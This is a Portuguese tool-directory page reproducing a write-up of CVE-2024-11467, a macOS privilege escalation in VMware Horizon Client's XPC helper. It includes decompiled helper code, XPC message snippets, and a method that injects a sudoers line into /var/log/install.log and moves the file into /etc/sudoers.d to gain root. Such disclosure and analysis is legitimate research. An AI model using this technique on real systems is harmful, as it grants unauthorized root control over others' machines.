Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-11467 — Cliente VMWare Horizon para macOS LPE devido a uma falha de lógica XPC. POC tardio para um 0-day que divulguei responsavelmente à Omnissa. | Kitploit
Ferramentas/GitHubGitHub/null-event/cve-2024-11467
Escalada de PrivilégiosAnálise de VulnerabilidadesAnálise de CódigoExploraçãoEngenharia ReversaTestes de PenetraçãoExploração de Binários
GitHubnull-event/cve-2024-11467

CVE-2024-11467

Cliente VMWare Horizon para macOS LPE devido a uma falha de lógica XPC. POC tardio para um 0-day que divulguei responsavelmente à Omnissa.

Ver Repositório
1há 7 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-11467

O sistema operacional macOS utiliza serviços XPC para comunicação básica entre processos, como entre o daemon do serviço XPC e as ferramentas auxiliares privilegiadas de aplicativos de terceiros. O VMware Horizon Client, ao ser instalado, registra o auxiliar privilegiado com.vmware.horizon.CDSHelper sob o diretório /Library/PrivilegedHelperTools/.

Deve-se notar também que o nome mach de com.vmware.horizon.CDSHelper é usado pelo auxiliar privilegiado para escutar por conexões XPC de entrada, conforme mostrado acima. As ferramentas padrão de desenvolvedor do macOS foram então utilizadas para extrair símbolos do binário auxiliar, a fim de determinar que ele incorporava comportamento XPC:

root@kitploit:~
» nm -a /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper | grep -i xpc                                                                                       
                 U __xpc_error_connection_invalid
                 U __xpc_error_key_description
                 U __xpc_type_connection
                 U __xpc_type_dictionary
                 U __xpc_type_error
                 U _xpc_connection_create_mach_service
                 U _xpc_connection_get_pid
                 U _xpc_connection_resume
                 U _xpc_connection_send_message
                 U _xpc_connection_set_event_handler
                 U _xpc_dictionary_create_reply
                 U _xpc_dictionary_get_remote_connection
                 U _xpc_dictionary_get_string
                 U _xpc_dictionary_set_int64
                 U _xpc_get_type
                 U _xpc_release

A ferramenta Hopper Disassembler foi então utilizada para carregar o auxiliar em um descompilador para engenharia reversa adicional, conforme mostrado abaixo: open -a /Applications/Hopper\ Disassembler\ v4.app /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper A função EntryPoint() foi localizada e revisada, confirmando que representava o ponto de entrada principal do CDSHelper.

A função sub_100005fa0 foi então descompilada, confirmando assim que a ferramenta auxiliar privilegiada do VMware Horizon Client utilizava a API de serviços XPC — esta é a API de nível C inferior que a Apple fornece, ao contrário da API de conexão XPC que reside na camada Objective-C/Swift:

root@kitploit:~
int sub_100005fa0(int arg0, int arg1) {
    sub_1000063d4("Starting service: %s\n");
    r0 = xpc_connection_create_mach_service(arg0, 0x0, 0x1);
    xpc_connection_set_event_handler(r0, &var_38);
    r0 = xpc_connection_resume(r20);
    dispatch_main();
    return r0;
}

Após a criação do serviço mach (através de xpc_connection_create_mach_service(com.vmware.horizon.CDSHelper)), as mensagens entre o cliente e o serviço XPC do Horizon Client são trocadas por meio de objetos de dicionário XPC criados com o método xpc_dictionary_create(). Valores podem ser adicionados a este dicionário usando métodos que a Apple fornece aos desenvolvedores; estes tipicamente começam com xpc_dictionary_set_. O cliente pode enviar esses objetos de dicionário XPC para o serviço XPC através de métodos como xpc_connection_send_. No lado do serviço XPC do Horizon Client, um manipulador é registrado que pode lidar com os objetos de dicionário XPC recebidos do cliente. Isso é feito usando o método xpc_connection_set_event_handler(). Finalmente, os valores do objeto de dicionário XPC recebido são lidos usando métodos como xpc_dictionary_get_*. Após o retorno de EntryPoint() do CDSHelper, a função sub_100056d0 é chamada:

imagem

Neste ponto, a execução passa para sub_1000056ec, que lida com a maior parte do trabalho de processamento de mensagens XPC de entrada. A totalidade da função descompilada é fornecida abaixo. As partes vulneráveis salientes são revisadas imediatamente após.

root@kitploit:~
int sub_1000056ec(int arg0, int arg1) {
    r31 = r31 - 0x90;
    var_30 = r24;
    stack[-56] = r23;
    var_20 = r22;
    stack[-40] = r21;
    var_10 = r20;
    stack[-24] = r19;
    saved_fp = r29;
    stack[-8] = r30;
    r19 = arg1;
    var_38 = **___stack_chk_guard;
    sub_1000063d4("CDSHelper: The cds helper will call HelperMain.\n");
    r0 = xpc_dictionary_get_string(r19, "cdsjob");
    if (r0 == 0x0) goto loc_1000057bc;

loc_100005738:
    r20 = r0;
    r0 = sub_1000063d4("CDSHelper:  cdsJob is %s.\n");
    if (strcmp(r20, "cdsjob_runscript") == 0x0) goto loc_100005818;

loc_100005760:
    if (strcmp(r20, "cdsjob_movefile") == 0x0) goto loc_1000058c4;

loc_100005774:
    if (strcmp(r20, "cdsjob_installpackage") == 0x0) {
            if (**___stack_chk_guard == var_38) {
                    r0 = sub_100005498(r19);
            }
            else {
                    __stack_chk_fail();
            }
    }
    else {
            r0 = sub_100005380(r19, 0x16);
            sub_100006434("NOT_REACHED %s:%d\n");
    }
    return r0;

loc_1000058c4:
    r0 = sub_1000068b8();
    if (r0 == 0x0) goto loc_100005980;

loc_1000058d4:
    r22 = r0;
    r0 = xpc_dictionary_get_string(r19, "cds_movefile_srcfile");
    r20 = r0;
    if (r0 == 0x0) goto loc_1000059b0;

loc_1000058f0:
    r0 = xpc_dictionary_get_string(r19, "cds_movefile_dstdir");
    r21 = r0;
    if (r0 == 0x0) goto loc_1000059f8;

loc_100005908:
    sub_1000069b8();
    sub_1000069b8();
    sub_100006998();
    if (0x0 == 0x0) goto loc_100005a60;

loc_100005948:
    sub_100006978();
    sub_1000067b8();
    r0 = "CDSHelper:  Failed to move the file : %s.\n";
    goto loc_100005a00;

loc_100005a00:
    sub_1000063d4(r0);
    goto loc_100005a04;

loc_100005a04:
    r22 = 0x16;
    strerror(0x16);
    sub_1000063d4("CDSHelper: The cds moving failed : %s from %s to %s!\n");
    goto loc_100005a24;

loc_100005a24:
    r0 = r19;
    r1 = r22;
    goto loc_100005a2c;

loc_100005a2c:
    r0 = sub_100005380(r0, r1);
    if (**___stack_chk_guard != var_38) {
            __stack_chk_fail();
    }
    return r0;

loc_100005a60:
    sub_1000063d4("CDSHelper: The cds moving ran successfully!\n");
    r22 = 0x0;
    goto loc_100005a24;

loc_1000059f8:
    r0 = "CDSHelper:  Invalid parameter of moving: destination dir.\n";
    goto loc_100005a00;

loc_1000059b0:
    sub_1000063d4("CDSHelper:  Invalid parameter of moving: source file.\n");
    r21 = 0x0;
    goto loc_100005a04;

loc_100005980:
    sub_1000063d4("CDSHelper:  Failed to get the invalid file manager.\n");
    r21 = 0x0;
    r20 = 0x0;
    goto loc_100005a04;

loc_100005818:
    r0 = xpc_dictionary_get_string(r19, "vmwareid");
    if (r0 == 0x0) goto loc_100005960;

loc_10000582c:
    r20 = r0;
    r0 = xpc_dictionary_get_string(r19, "path");
    if (r0 == 0x0) goto loc_10000596c;

loc_100005844:
    r21 = r0;
    if ((sub_100005df4(r20, "vmware-id") & 0x1) == 0x0) goto loc_100005998;

loc_10000585c:
    r0 = xpc_dictionary_get_string(r19, "appDir");
    if (r0 == 0x0) goto loc_1000059c4;

loc_100005870:
    r22 = r0;
    r0 = xpc_dictionary_get_string(r19, "tempDir");
    if (r0 == 0x0) goto loc_1000059c4;

loc_100005888:
    sub_100006460();
    sub_1000063d4("CDSHelper:  The cds script %s is running...\n");
    r0 = sub_100005410(&var_60);
    r20 = r0;
    if (r0 == 0x0) {
            r0 = "CDSHelper: The cds script ran successfully!\n";
    }
    else {
            strerror(r20);
            r0 = "CDSHelper: The cds script failed to run : %s!\n";
    }
    goto loc_1000059e8;

loc_1000059e8:
    sub_1000063d4(r0);
    r0 = r19;
    r1 = r20;
    goto loc_100005a2c;

loc_1000059c4:
    r0 = "CDSHelper:  Invalid parameter.\n";
    goto loc_1000059cc;

loc_1000059cc:
    sub_1000063d4(r0);
    r20 = 0x16;
    goto loc_1000059d4;

loc_1000059d4:
    strerror(r20);
    r0 = "CDSHelper: The cds script failed to run : %s!\n";
    goto loc_1000059e8;

loc_100005998:
    sub_1000063d4("CDSHelper:  Invalid script codesigning for %s.\n");
    r20 = 0xd;
    goto loc_1000059d4;

loc_10000596c:
    sub_1000063d4("CDSHelper:  Invalid script path.\n");
    r20 = 0x2d;
    goto loc_1000059d4;

loc_100005960:
    r0 = "CDSHelper:  Invalid vmwareid.\n";
    goto loc_1000059cc;

loc_1000057bc:
    sub_1000063d4("CDSHelper:  Invalid cdsJob.\n");
    strerror(0x16);
    r0 = sub_1000063d4("CDSHelper: The cds script failed to run : %s!\n");
    if (**___stack_chk_guard == var_38) {
            r0 = sub_100005380(r19, 0x16);
    }
    else {
            __stack_chk_fail();
    }
    return r0;
}

Conforme destacado abaixo, o auxiliar privilegiado primeiro obtém o valor de cdsjob usando o método xpc_dictionary_get_string(). A partir daqui, há três strings possíveis que o auxiliar privilegiado espera:

  • cdsjob_runscript
  • cdsjob_movefile
  • cdsjob_installpackage
imagem

Caso a comparação de strings retorne uma correspondência para cdsjob_movefile, o CDSHelper retoma a execução dentro de loc_1000058c4, conforme mostrado abaixo. Duas strings adicionais são verificadas através do método xpc_dictionary_get_string():

  • cds_movefile_srcfile
  • cds_movefile_dstdir
imagem

Após a obtenção dessas duas strings adicionais pelo auxiliar privilegiado, três funções adicionais são chamadas em:

  • sub_1000069b8
  • sub_1000069b8
  • sub_100006998 Essas funções foram inspecionadas e apresentadas abaixo. Retornando uma string criada copiando os dados de um dado array C de bytes codificados em UTF8 (https://developer.apple.com/documentation/foundation/nsstring/1497379-stringwithutf8string):
root@kitploit:~
void sub_1000069b8() {
    [r0 stringWithUTF8String:r2];
    return;
}

Retornando uma segunda string:

root@kitploit:~
void sub_1000069b8() {
    [r0 stringWithUTF8String:r2];
    return;
}

Movendo o arquivo ou diretório no caminho especificado por cds_movefile_srcfile para um novo local em cds_movefile_dstdir (https://developer.apple.com/documentation/foundation/nsfilemanager/1413529-moveitematpath):

root@kitploit:~
void sub_100006998() {
    [r0 moveItemAtPath:r2 toPath:r3 error:r4];
    return;
}

Neste ponto, a menos que haja erros de sistema de arquivos, o CDSHelper move o arquivo com sucesso, registra a seguinte mensagem e retorna a execução: CDSHelper: The cds moving ran successfully! Deve-se notar que, durante o curso desta operação, o auxiliar privilegiado não realiza nenhuma verificação na conexão do cliente de entrada (por exemplo, através de verificação de assinatura usando a string SecRequirement e o identificador de pacote da conexão, identificador de equipe, assinatura de certificado Apple, etc.). Assim, um ator malicioso pode iniciar uma conexão XPC válida e coagir o auxiliar privilegiado a mover arquivos arbitrários com privilégios elevados. Isso introduz a possibilidade de escalada de privilégio para comprometimento total do sistema operacional, conforme mostrado abaixo. Os seguintes valores de dicionário XPC foram primeiro definidos e enviados para provar a sobrescrita arbitrária de arquivos como root:

root@kitploit:~
    xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
    xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/private/tmp/ticket-Sf12p9");
    xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/private/tmp/ticket-Sf12p91337");

No entanto, como resultado do CDSHelper inicializar um objeto gerenciador de arquivos usando defaultManager em vez de fileManagerWithAuthorization na função descompilada sub_1000068b8, o auxiliar privilegiado respeita a propriedade dos arquivos ao movê-los; ou seja, arquivos originalmente pertencentes a usuários não-root não se tornam pertencentes a root no processo de mover os referidos arquivos. Como tal, para escalar privilégios movendo um arquivo para um diretório como /etc/sudoers.d/, um adversário precisa localizar um arquivo que já seja de propriedade de root, não seja gravável por todos e cujo conteúdo possa ser parcialmente controlado antes de mover o arquivo através da função CDSHelper. Conforme mostrado abaixo, é possível controlar parcialmente o conteúdo de /var/log/install.log através do utilitário de linha de comando logger; este é um arquivo que se encaixa nos critérios das condições de exploração:

root@kitploit:~
» ls -la /var/log/install.log                                                                                                                                                  
-rw-r--r--@ 1 root  admin  420902 Oct 20 18:46 /var/log/install.log

É possível inserir uma linha válida de configuração do sudo no arquivo de log usando logger, especificando a prioridade install.error e adicionando uma nova linha usando um retorno de carro.

As linhas relevantes do POC de exploração (veja poc.c) para mover o referido arquivo de log para o diretório /etc/sudoers.d/ como myfile são mostradas abaixo:

root@kitploit:~
xpc_object_t my_message;

my_message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/var/log/install.log");
xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/etc/sudoers.d/myfile");

Observe que, ao receber um comando executado via sudo, o sistema operacional analisará o arquivo de log, retornará para stdout vários erros relacionados à sintaxe inválida das entradas do log no processo e, finalmente, continuará até atingir a única linha de sintaxe válida que foi injetada.

Assim, a exploração move com sucesso o arquivo de log injetado para o diretório /etc/sudoers.d/ e mostra que é possível tocar um novo arquivo localizado em /tmp/vmwarebeware via sudo, comprovando com sucesso a escalada de privilégio no sistema operacional macOS subjacente através da ferramenta auxiliar privilegiada do VMware Horizon Client.

Baixar ferramenta